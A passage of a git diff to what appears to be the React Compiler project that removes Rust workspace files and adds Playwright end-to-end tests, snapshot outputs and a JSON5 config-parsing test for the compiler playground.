-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows-sys"
-version = "0.45.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
-dependencies = [
- "windows-targets 0.42.2",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.1",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
-dependencies = [
- "windows_aarch64_gnullvm 0.42.2",
- "windows_aarch64_msvc 0.42.2",
- "windows_i686_gnu 0.42.2",
- "windows_i686_msvc 0.42.2",
- "windows_x86_64_gnu 0.42.2",
- "windows_x86_64_gnullvm 0.42.2",
- "windows_x86_64_msvc 0.42.2",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05d4b17490f70499f20b9e791dcf6a299785ce8af4d709018206dc5b4953e95f"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.0",
- "windows_aarch64_msvc 0.48.0",
- "windows_i686_gnu 0.48.0",
- "windows_i686_msvc 0.48.0",
- "windows_x86_64_gnu 0.48.0",
- "windows_x86_64_gnullvm 0.48.0",
- "windows_x86_64_msvc 0.48.0",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.42.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a"
-
-[[package]]
-name = "yaml-rust"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85"
-dependencies = [
- "linked-hash-map",
-]
diff --git a/compiler/Cargo.toml b/compiler/Cargo.toml
deleted file mode 100644
index db4e1fc4c3a5..000000000000
--- a/compiler/Cargo.toml
+++ /dev/null
@@ -1,61 +0,0 @@
-[workspace]
-resolver = "2"
-members = ["crates/*"]
-
-[workspace.package]
-authors     = ["The React Team https://react.dev/community/team"]
-description = "React Compiler"
-edition     = "2021"
-homepage    = "https://github.com/facebook/react"
-keywords    = ["JavaScript", "TypeScript", "React", "React Compiler", "Compiler"]
-license     = "MIT"
-repository  = "https://github.com/facebook/react"
-
-[workspace.dependencies]
-# workspace crates
-react_build_hir = { path = "crates/react_build_hir" }
-react_diagnostics = { path = "crates/react_diagnostics" }
-react_estree = { path = "crates/react_estree" }
-react_estree_codegen = { path = "crates/react_estree_codegen" }
-react_fixtures = { path = "crates/react_fixtures" }
-react_hermes_parser = { path = "crates/react_hermes_parser" }
-react_hir = { path = "crates/react_hir" }
-react_optimization = { path = "crates/react_optimization" }
-react_semantic_analysis = { path = "crates/react_semantic_analysis" }
-react_ssa = { path = "crates/react_ssa" }
-react_utils = { path = "crates/react_utils" }
-
-# dependencies
-indexmap = { version = "2.0.0", features = ["serde"] }
-insta = { version = "1.30.0", features = ["glob"] }
-miette = { version = "5.9.0" }
-prettyplease = "0.2.10"
-quote = "1.0.29"
-serde = { version = "1.0.167", features = ["serde_derive"] }
-serde_json = "1.0.100"
-stacker = "0.1.15"
-static_assertions = "1.1.0"
-syn = "2.0.23"
-thiserror = "1.0.41"
-hermes = { git = "https://github.com/facebook/hermes.git" }
-juno_support = { git = "https://github.com/facebook/hermes.git" }
-
-[profile.release]
-# configuration adapted from oxc
-# https://github.com/Boshen/oxc/blob/ea85ee9f2d64dd284c5b7410f491d81fb879abae/Cargo.toml#L89-L97
-opt-level     = 3
-lto           = "fat"
-codegen-units = 1
-strip         = "symbols"
-debug         = false
-panic         = "abort"   # Let it crash and force ourselves to write safe Rust.
-
-# Make insta run faster by compiling with release mode optimizations
-# https://docs.rs/insta/latest/insta/#optional-faster-runs
-[profile.dev.package.insta]
-opt-level = 3
-
-# Make insta diffing libary faster by compiling with release mode optimizations
-# https://docs.rs/insta/latest/insta/#optional-faster-runs
-[profile.dev.package.similar]
-opt-level = 3
\ No newline at end of file
diff --git a/compiler/apps/playground/.gitignore b/compiler/apps/playground/.gitignore
index 2d1f4fd4e1f5..38f7fe0b21ea 100644
--- a/compiler/apps/playground/.gitignore
+++ b/compiler/apps/playground/.gitignore
@@ -12,6 +12,7 @@
 # next.js
 /.next/
 /out/
+/next-env.d.ts
 
 # production
 /build
diff --git a/compiler/apps/playground/README.md b/compiler/apps/playground/README.md
index 0a2fef224a0b..7b6d5f729ad9 100644
--- a/compiler/apps/playground/README.md
+++ b/compiler/apps/playground/README.md
@@ -26,6 +26,13 @@ $ npm run dev
 $ yarn
 ```
 
+## Testing
+```sh
+# Install playwright browser binaries
+$ npx playwright install --with-deps
+# Run tests
+$ yarn test
+```
 ## Deployment
 
 This project has been deployed using Vercel. Vercel does the exact same thing as we would
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/01-user-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/01-user-output.txt
new file mode 100644
index 000000000000..1600f3510733
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/01-user-output.txt
@@ -0,0 +1,14 @@
+import { c as _c } from "react/compiler-runtime";
+export default function TestComponent(t0) {
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = <Button>{x}</Button>;
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/02-default-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/02-default-output.txt
new file mode 100644
index 000000000000..1d59a120f984
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/02-default-output.txt
@@ -0,0 +1,12 @@
+import { c as _c } from "react/compiler-runtime";
+export default function MyApp() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>Hello World</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-all-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-all-output.txt
new file mode 100644
index 000000000000..ab7b3ce58cf7
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-all-output.txt
@@ -0,0 +1,12 @@
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"all"
+function nonReactFn() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-infer-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-infer-output.txt
new file mode 100644
index 000000000000..563a566a069e
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/compilationMode-infer-output.txt
@@ -0,0 +1,4 @@
+// @compilationMode:"infer"
+function nonReactFn() {
+  return {};
+}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt
new file mode 100644
index 000000000000..2191397ae126
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt
@@ -0,0 +1,3 @@
+{
+  //compilationMode: "all"
+}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-input.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-input.txt
deleted file mode 100644
index a26ec5baaf5a..000000000000
--- a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-input.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-function MyApp() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = <div>Hello World</div>;
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  return t0;
-}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/function-scope-beats-module-scope-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/function-scope-beats-module-scope-output.txt
new file mode 100644
index 000000000000..5bcfcb75edd1
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/function-scope-beats-module-scope-output.txt
@@ -0,0 +1,14 @@
+function TestComponent(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = <Button>{x}</Button>;
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-memo-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-memo-output.txt
new file mode 100644
index 000000000000..638a2bcd2284
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-memo-output.txt
@@ -0,0 +1,15 @@
+"use memo";
+import { c as _c } from "react/compiler-runtime";
+export default function TestComponent(t0) {
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = <Button>{x}</Button>;
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-no-memo-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-no-memo-output.txt
new file mode 100644
index 000000000000..ebd2d2b04678
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/module-scope-use-no-memo-output.txt
@@ -0,0 +1,4 @@
+"use no memo";
+export default function TestComponent({ x }) {
+  return <Button>{x}</Button>;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-flow-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-flow-output.txt
new file mode 100644
index 000000000000..c0907856babf
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-flow-output.txt
@@ -0,0 +1,14 @@
+import { c as _c } from "react/compiler-runtime";
+function useFoo(propVal) {
+  const $ = _c(2);
+  const t0 = (propVal.baz: number);
+  let t1;
+  if ($[0] !== t0) {
+    t1 = <div>{t0}</div>;
+    $[0] = t0;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-typescript-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-typescript-output.txt
new file mode 100644
index 000000000000..c936c5ae2ed0
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/parse-typescript-output.txt
@@ -0,0 +1,20 @@
+import { c as _c } from "react/compiler-runtime";
+function Foo() {
+  const $ = _c(2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = foo();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0 as number;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <div>{x}</div>;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/todo-function-scope-does-not-beat-module-scope-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/todo-function-scope-does-not-beat-module-scope-output.txt
new file mode 100644
index 000000000000..325e6972e151
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/todo-function-scope-does-not-beat-module-scope-output.txt
@@ -0,0 +1,5 @@
+"use no memo";
+function TestComponent({ x }) {
+  "use memo";
+  return <Button>{x}</Button>;
+}
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-memo-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-memo-output.txt
new file mode 100644
index 000000000000..de6dd5268007
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-memo-output.txt
@@ -0,0 +1,29 @@
+import { c as _c } from "react/compiler-runtime";
+function TestComponent(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = <Button>{x}</Button>;
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+const TestComponent2 = (t0) => {
+  "use memo";
+  const $ = _c(2);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x) {
+    t1 = <Button>{x}</Button>;
+    $[0] = x;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+};
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-no-memo-output.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-no-memo-output.txt
new file mode 100644
index 000000000000..02c136762218
--- /dev/null
+++ b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/use-no-memo-output.txt
@@ -0,0 +1,8 @@
+const TestComponent = function () {
+  "use no memo";
+  return <Button>{x}</Button>;
+};
+const TestComponent2 = ({ x }) => {
+  "use no memo";
+  return <Button>{x}</Button>;
+};
diff --git a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/user-input.txt b/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/user-input.txt
deleted file mode 100644
index f45eb2c625c4..000000000000
--- a/compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/user-input.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-function TestComponent(t0) {
-  const $ = _c(2);
-  const { x } = t0;
-  let t1;
-  if ($[0] !== x) {
-    t1 = <Button>{x}</Button>;
-    $[0] = x;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  return t1;
-}
\ No newline at end of file
diff --git a/compiler/apps/playground/__tests__/e2e/page.spec.ts b/compiler/apps/playground/__tests__/e2e/page.spec.ts
index 3bb6637f9541..1a7bf1def137 100644
--- a/compiler/apps/playground/__tests__/e2e/page.spec.ts
+++ b/compiler/apps/playground/__tests__/e2e/page.spec.ts
@@ -5,45 +5,339 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { expect, test } from "@playwright/test";
-import { encodeStore, type Store } from "../../lib/stores";
+import {expect, test, type Page} from '@playwright/test';
+import {encodeStore, type Store} from '../../lib/stores';
+import {defaultConfig} from '../../lib/defaultStore';
+import {format} from 'prettier';
 
-const STORE: Store = {
-  source: `export default function TestComponent({ x }) {
+function isMonacoLoaded(): boolean {
+  return (
+    typeof window['MonacoEnvironment'] !== 'undefined' &&
+    window['__MONACO_LOADED__'] === true
+  );
+}
+
+function formatPrint(data: Array<string>): Promise<string> {
+  return format(data.join(''), {parser: 'babel'});
+}
+
+async function expandConfigs(page: Page): Promise<void> {
+  const expandButton = page.locator('[title="Expand config editor"]');
+  await expandButton.click();
+  await page.waitForSelector('.monaco-editor-config', {state: 'visible'});
+}
+
+const TEST_SOURCE = `export default function TestComponent({ x }) {
+  return <Button>{x}</Button>;
+}`;
+
+const TEST_CASE_INPUTS = [
+  {
+    name: 'module-scope-use-memo',
+    input: `
+'use memo';
+export default function TestComponent({ x }) {
+  return <Button>{x}</Button>;
+}`,
+  },
+  {
+    name: 'module-scope-use-no-memo',
+    input: `
+'use no memo';
+export default function TestComponent({ x }) {
+  return <Button>{x}</Button>;
+}`,
+  },
+  {
+    name: 'use-memo',
+    input: `
+function TestComponent({ x }) {
+  'use memo';
   return <Button>{x}</Button>;
 }
-`,
+const TestComponent2 = ({ x }) => {
+  'use memo';
+  return <Button>{x}</Button>;
+};`,
+  },
+  {
+    name: 'use-no-memo',
+    input: `
+const TestComponent = function() {
+  'use no memo';
+  return <Button>{x}</Button>;
 };
-const HASH = encodeStore(STORE);
-
-function concat(data: Array<string>): string {
-  return data.join("");
+const TestComponent2 = ({ x }) => {
+  'use no memo';
+  return <Button>{x}</Button>;
+};`,
+  },
+  {
+    name: 'todo-function-scope-does-not-beat-module-scope',
+    input: `
+'use no memo';
+function TestComponent({ x }) {
+  'use memo';
+  return <Button>{x}</Button>;
+}`,
+  },
+  {
+    name: 'parse-typescript',
+    input: `
+function Foo() {
+  const x = foo() as number;
+  return <div>{x}</div>;
+}
+`,
+    noFormat: true,
+  },
+  {
+    name: 'parse-flow',
+    input: `
+// @flow
+function useFoo(propVal: {+baz: number}) {
+  return <div>{(propVal.baz as number)}</div>;
 }
+    `,
+    noFormat: true,
+  },
+  {
+    name: 'compilationMode-infer',
+    input: `// @compilationMode:"infer"
+function nonReactFn() {
+  return {};
+}
+    `,
+    noFormat: true,
+  },
+  {
+    name: 'compilationMode-all',
+    input: `// @compilationMode:"all"
+function nonReactFn() {
+  return {};
+}
+    `,
+    noFormat: true,
+  },
+];
 
-test("editor should compile successfully", async ({ page }) => {
-  await page.goto(`/#${HASH}`, { waitUntil: "networkidle" });
+test('editor should open successfully', async ({page}) => {
+  await page.goto(`/`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
   await page.screenshot({
     fullPage: true,
-    path: "test-results/00-on-networkidle.png",
+    path: 'test-results/00-fresh-page.png',
   });
+});
+
+test('editor should compile from hash successfully', async ({page}) => {
+  const store: Store = {
+    source: TEST_SOURCE,
+    config: defaultConfig,
+    showInternals: false,
+  };
+  const hash = encodeStore(store);
+  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
 
   // User input from hash compiles
   await page.screenshot({
     fullPage: true,
-    path: "test-results/01-show-js-before.png",
+    path: 'test-results/01-compiles-from-hash.png',
   });
-  const userInput =
-    (await page.locator(".monaco-editor").nth(2).allInnerTexts()) ?? [];
-  expect(concat(userInput)).toMatchSnapshot("user-input.txt");
+  const text =
+    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+  const output = await formatPrint(text);
+
+  expect(output).not.toEqual('');
+  expect(output).toMatchSnapshot('01-user-output.txt');
+});
+
+test('reset button works', async ({page}) => {
+  const store: Store = {
+    source: TEST_SOURCE,
+    config: defaultConfig,
+    showInternals: false,
+  };
+  const hash = encodeStore(store);
+  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
 
   // Reset button works
-  page.on("dialog", (dialog) => dialog.accept());
-  await page.getByRole("button", { name: "Reset" }).click();
+  page.on('dialog', dialog => dialog.accept());
+  await page.getByRole('button', {name: 'Reset'}).click();
+  await expandConfigs(page);
+
+  await page.screenshot({
+    fullPage: true,
+    path: 'test-results/02-reset-button-works.png',
+  });
+  const text =
+    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+  const output = await formatPrint(text);
+
+  const configText =
+    (await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];
+  const configOutput = configText.join('');
+
+  expect(output).not.toEqual('');
+  expect(output).toMatchSnapshot('02-default-output.txt');
+  expect(configOutput).not.toEqual('');
+  expect(configOutput).toMatchSnapshot('default-config.txt');
+});
+
+test('defaults load when only source is in Store', async ({page}) => {
+  // Test for backwards compatibility
+  const partial = {
+    source: TEST_SOURCE,
+  };
+  const hash = encodeStore(partial as Store);
+  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
+  await expandConfigs(page);
+
+  await page.screenshot({
+    fullPage: true,
+    path: 'test-results/03-missing-defaults.png',
+  });
+
+  // Config editor has default config
+  const configText =
+    (await page.locator('.monaco-editor-config').allInnerTexts()) ?? [];
+  const configOutput = configText.join('');
+
+  expect(configOutput).not.toEqual('');
+  expect(configOutput).toMatchSnapshot('default-config.txt');
+
+  const checkbox = page.locator('label.show-internals');
+  await expect(checkbox).not.toBeChecked();
+  const ssaTab = page.locator('text=SSA');
+  await expect(ssaTab).not.toBeVisible();
+});
+
+test('show internals button toggles correctly', async ({page}) => {
+  await page.goto(`/`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
+
+  // show internals should be off
+  const checkbox = page.locator('label.show-internals');
+  await checkbox.click();
+
   await page.screenshot({
     fullPage: true,
-    path: "test-results/02-show-js-after.png",
+    path: 'test-results/04-show-internals-on.png',
   });
-  const defaultInput =
-    (await page.locator(".monaco-editor").nth(2).allInnerTexts()) ?? [];
-  expect(concat(defaultInput)).toMatchSnapshot("default-input.txt");
+
+  await expect(checkbox).toBeChecked();
+
+  const ssaTab = page.locator('text=SSA');
+  await expect(ssaTab).toBeVisible();
+});
+
+test('error is displayed when config has syntax error', async ({page}) => {
+  const store: Store = {
+    source: TEST_SOURCE,
+    config: `{ compilationMode: }`,
+    showInternals: false,
+  };
+  const hash = encodeStore(store);
+  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
+  await expandConfigs(page);
+  await page.screenshot({
+    fullPage: true,
+    path: 'test-results/05-config-syntax-error.png',
+  });
+
+  const text =
+    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+  const output = text.join('');
+
+  // Remove hidden chars
+  expect(output.replace(/\s+/g, ' ')).toContain(
+    'Unexpected failure when transforming configs',
+  );
 });
+
+test('error is displayed when config has validation error', async ({page}) => {
+  const store: Store = {
+    source: TEST_SOURCE,
+    config: `{
+  compilationMode: "123"
+}`,
+    showInternals: false,
+  };
+  const hash = encodeStore(store);
+  await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+  await page.waitForFunction(isMonacoLoaded);
+  await expandConfigs(page);
+  await page.screenshot({
+    fullPage: true,
+    path: 'test-results/06-config-validation-error.png',
+  });
+
+  const text =
+    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+  const output = text.join('');
+
+  expect(output.replace(/\s+/g, ' ')).toContain('Unexpected compilationMode');
+});
+
+test('error is displayed when source has syntax error', async ({page}) => {
+  const syntaxErrorSource = `function TestComponent(props) {
+  const oops = props.
+  return (
+    <>{oops}</>
+  );
+}`;
+  const store: Store = {
+    source: syntaxErrorSource,
+    config: defaultConfig,
+    showInternals: false,
+  };
+  const hash = encodeStore(store);
+  await page.goto(`/#${hash}`);
+  await page.waitForFunction(isMonacoLoaded);
+  await expandConfigs(page);
+  await page.screenshot({
+    fullPage: true,
+    path: 'test-results/08-source-syntax-error.png',
+  });
+
+  const text =
+    (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+  const output = text.join('');
+
+  expect(output.replace(/\s+/g, ' ')).toContain(
+    'Expected identifier to be defined before being used',
+  );
+});
+
+TEST_CASE_INPUTS.forEach((t, idx) =>
+  test(`playground compiles: ${t.name}`, async ({page}) => {
+    const store: Store = {
+      source: t.input,
+      config: defaultConfig,
+      showInternals: false,
+    };
+    const hash = encodeStore(store);
+    await page.goto(`/#${hash}`, {waitUntil: 'networkidle'});
+    await page.waitForFunction(isMonacoLoaded);
+    await page.screenshot({
+      fullPage: true,
+      path: `test-results/08-0${idx}-${t.name}.png`,
+    });
+
+    const text =
+      (await page.locator('.monaco-editor-output').allInnerTexts()) ?? [];
+    let output: string;
+    if (t.noFormat) {
+      output = text.join('');
+    } else {
+      output = await formatPrint(text);
+    }
+
+    expect(output).not.toEqual('');
+    expect(output).toMatchSnapshot(`${t.name}-output.txt`);
+  }),
+);
diff --git a/compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs b/compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
new file mode 100644
index 000000000000..c48dbf7beb02
--- /dev/null
+++ b/compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
@@ -0,0 +1,157 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import assert from 'node:assert';
+import {test, describe} from 'node:test';
+import JSON5 from 'json5';
+
+// Re-implement parseConfigOverrides here since the source uses TS imports
+// that can't be directly loaded by Node. This mirrors the logic in
+// compilation.ts exactly.
+function parseConfigOverrides(configOverrides) {
+  const trimmed = configOverrides.trim();
+  if (!trimmed) {
+    return {};
+  }
+  return JSON5.parse(trimmed);
+}
+
+describe('parseConfigOverrides', () => {
+  test('empty string returns empty object', () => {
+    assert.deepStrictEqual(parseConfigOverrides(''), {});
+    assert.deepStrictEqual(parseConfigOverrides('   '), {});
+  });
+
+  test('default config parses correctly', () => {
+    const config = `{
+  //compilationMode: "all"
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {});
+  });
+
+  test('compilationMode "all" parses correctly', () => {
+    const config = `{
+  compilationMode: "all"
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('config with single-line and block comments parses correctly', () => {
+    const config = `{
+  // This is a single-line comment
+  /* This is a block comment */
+  compilationMode: "all",
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('config with trailing commas parses correctly', () => {
+    const config = `{
+  compilationMode: "all",
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {compilationMode: 'all'});
+  });
+
+  test('nested environment options parse correctly', () => {
+    const config = `{
+  environment: {
+    validateRefAccessDuringRender: true,
+  },
+}`;
+    const result = parseConfigOverrides(config);
+    assert.deepStrictEqual(result, {
+      environment: {validateRefAccessDuringRender: true},
+    });
+  });
+
+  test('multiple options parse correctly', () => {
+    const config = `{
+  compilationMode: "all",
+  environment: {
+    validateRefAccessDuringRender: false,
+  },
+}`;
+    const result = parseConfigOverrides(config);
